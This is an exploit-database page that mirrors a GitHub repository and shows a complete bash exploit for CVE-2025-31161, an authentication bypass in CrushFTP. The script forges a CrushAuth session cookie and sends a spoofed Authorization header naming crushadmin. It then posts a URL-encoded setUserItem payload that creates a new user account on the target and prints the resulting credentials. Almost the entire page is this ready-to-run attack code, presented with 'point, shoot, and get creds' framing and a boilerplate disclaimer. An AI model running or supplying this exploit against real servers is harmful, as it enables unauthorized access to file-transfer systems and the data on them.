Exploit databaseDownload repository ZIP
GH-bb39844aca34a1e1713930cfc2c57a2e
f4dee-backup/cve-2025-31161
Sources for CVE-2025-31161
12 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
f4dee-backup/cve-2025-31161Revision e70c29d95d59
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2025-31161.sh
Shell · 6,823 bytes#!/usr/bin/env bash
# CVE-2025-31161 - Authentication Bypass _ Automates the creation of an admin user in CrushFTP by forging a valid CrushAuth token.
# Just point, shoot, and get creds.
# Created by f4dee
# Requirements curl, shuf
# Disclaimer:
# This exploit is intended for educational and authorized security testing purposes only.
# It targets a known vulnerability in CrushFTP and should NOT be used on systems without
# explicit permission. Unauthorized access or usage may be illegal and is strictly prohibited.
# The author assumes no responsibility for misuse or damages caused by this script.
# CVE-2025-31161: https://nvd.nist.gov/vuln/detail/CVE-2025-31161
set -euo pipefail
# === Colors ===
greenColour="\e[0;32m\033[1m"
endColour="\033[0m\e[0m"
redColour="\e[0;31m\033[1m"
blueColour="\e[0;34m\033[1m"
yellowColour="\e[0;33m\033[1m"
purpleColour="\e[0;35m\033[1m"
turquoiseColour="\e[0;36m\033[1m"
grayColour="\e[0;37m\033[1m"
if [ ! -x "$(command -v curl)" ] || [ ! -x "$(command -v shuf)" ]; then
echo "[!] Missing requirements. Installing curl and shuf..."
sudo apt install curl shuf -y
fi
function ctrl_c(){
echo -e "\n\n${redColour}[!] Exiting...${endColour}"
tput cnorm; exit 1
}
trap ctrl_c SIGINT
function helpPanel(){
echo -e "\n${yellowColour}[+]${endColour} ${grayColour}Usage:${endColour}${blueColour} ./$0${endColour}${greenColour} --url${endColour}${yellowColour} <http://target.com>${endColour}${greenColour} --port${endColour}${yellowColour} <PORT>${endColour}${greenColour} --target-user${endColour}${yellowColour} <admin_user>${endColour}${greenColour} --new-user${endColour}${yellowColour} <new_user>${endColour}${greenColour} --new-password${endColour}${yellowColour} <password>${endColour}"
echo -e "\n${yellowColour}[?]${endColour} ${grayColour}Parameters description:${endColour}\n"
echo -e "\t${turquoiseColour}--url${endColour} ${grayColour}Target base URL (e.g., http://target)${endColour}"
echo -e "\t${turquoiseColour}--port${endColour} ${grayColour}Port where CrushFTP is running${endColour}"
echo -e "\t${turquoiseColour}--target-user${endColour} ${grayColour}Valid or invalid username (e.g., crushadmin)${endColour}"
echo -e "\t${turquoiseColour}--new-user${endColour} ${grayColour}Username to be created (e.g., Pwn3d)${endColour}"
echo -e "\t${turquoiseColour}--new-password${endColour} ${grayColour}Password for the new user${endColour}"
echo -e "\t${turquoiseColour}--help${endColour} ${grayColour}Show this help panel${endColour}"
echo -e "\n${yellowColour}[i]${endColour} ${grayColour}Example:${endColour}${greenColour} bash ./$0 --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345${endColour}\n"
tput cnorm
}
tput civis
function exploit(){
local url="$1"
local port="$2"
local target_user="$3"
local new_user="$4"
local password="$5"
local status_code_server="$(curl -s -L -o /dev/null -w "%{http_code}" "${url}:${port}")"
echo -e "\n${blueColour}[*] Checking if the server is online... Waiting...\n${endColour}"
sleep 2
if [[ "$status_code_server" -ge 200 && "$status_code_server" -lt 500 ]]; then
echo -e "${greenColour}[*] Server is online. Starting preparation phase...${endColour}"
echo -e "${yellowColour}[*] Generating dynamic CrushAuth token...${endColour}"
local auth_prefix_id="$(shuf -i 1000000000000-9999999999999 -n 1)"
local auth_random_string="$(tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c 26 || true)"
local c2f=$(shuf -i 1000-9999 -n 1)
local CrushAuth="${auth_prefix_id}_${auth_random_string}${c2f}"
echo -e "${purpleColour}[i] CrushAuth generated: ${CrushAuth}${endColour}"
echo -e "${blueColour}[*] Sending warm-up request to the server...${endColour}"
curl -s -X GET ""${url}:${port}"/WebInterface/function/" \
-H "Cookie: currentAuth=${c2f}; CrushAuth=${CrushAuth}" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-H "Authorization: AWS4-HMAC-SHA256 Credentials=crushadmin/" &>/dev/null
sleep 2
echo -e "${yellowColour}[*] Sending user creation payload for '${new_user}'...${endColour}\n"
payload="command=setUserItem&data_action=replace&serverGroup=MainUsers&username=${new_user}&user=%3c%3fxml+version%3d%221.0%22+encoding%3d%22UTF-8%22%3f%3e%3cuser+type%3d%22properties%22%3e%3cuser_name%3e${new_user}%3c%2fuser_name%3e%3cpassword%3e${password}%3c%2fpassword%3e%3cextra_vfs+type%3d%22vector%22%3e%3c%2fextra_vfs%3e%3cversion%3e1.0%3c%2fversion%3e%3croot_dir%3e%2f%3c%2froot_dir%3e%3cuserVersion%3e6%3c%2fuserVersion%3e%3cmax_logins%3e0%3c%2fmax_logins%3e%3csite%3e%28SITE_PASS%29%28SITE_DOT%29%28SITE_EMAILPASSWORD%29%28CONNECT%29%3c%2fsite%3e%3ccreated_by_username%3e${target_user}%3c%2fcreated_by_username%3e%3ccreated_by_email%3e%3c%2fcreated_by_email%3e%3ccreated_time%3e1744120753370%3c%2fcreated_time%3e%3cpassword_history%3e%3c%2fpassword_history%3e%3c%2fuser%3e&xmlItem=user&vfs_items=%3c%3fxml+version%3d%221.0%22+encoding%3d%22UTF-8%22%3f%3e%3cvfs+type%3d%22vector%22%3e%3c%2fvfs%3e&permissions=%3c%3fxml+version%3d%221.0%22+encoding%3d%22UTF-8%22%3f%3e%3cVFS+type%3d%22properties%22%3e%3citem+name%3d%22%2f%22%3e%28read%29%28view%29%28resume%29%3c%2fitem%3e%3c%2fVFS%3e&c2f=${c2f}"
status_code="$(curl -s -o /dev/null -w "%{http_code}" -X POST "$url:$port/WebInterface/function/" \
-H "Cookie: currentAuth=${c2f}; CrushAuth=${CrushAuth}" \
-H "Authorization: AWS4-HMAC-SHA256 Credentials=crushadmin/" \
-d "$payload")"
if [[ "$status_code" -eq 200 ]]; then
echo -e "${greenColour}[>] User successfully created: ${new_user}${endColour}"
echo -e "${turquoiseColour}[*] Credentials:\n\tUsername: ${new_user}\n\tPassword: ${password}${endColour}"
else
echo -e "${redColour}[!] User creation failed.${endColour}"
echo -e "${redColour}[!] Exiting...${endColour}"
fi
else
echo -e "${redColour}[!] Server is unreachable or down... Not fun for you :("
tput cnorm; exit 1
fi
tput cnorm
}
declare -i parameter_counter=0
url=""
port=""
target_user=""
new_user=""
new_password=""
while [[ $# -gt 0 ]]; do
case $1 in
--url) url=$2; let parameter_counter+=1; shift 2;;
--port) port=$2; let parameter_counter+=1; shift 2;;
--target-user) target_user=$2; let parameter_counter+=1; shift 2;;
--new-user) new_user=$2; let parameter_counter+=1; shift 2;;
--new-password) new_password=$2; let parameter_counter+=1; shift 2;;
--help) helpPanel; exit 0;;
*) echo -e "\n${redColour}[!] Option no valid... check...${endColour}\n"; helpPanel; exit 1;;
esac
done
if [ $parameter_counter -eq 5 ]; then
exploit "$url" "$port" "$target_user" "$new_user" "$new_password"
else
helpPanel; exit 1
fi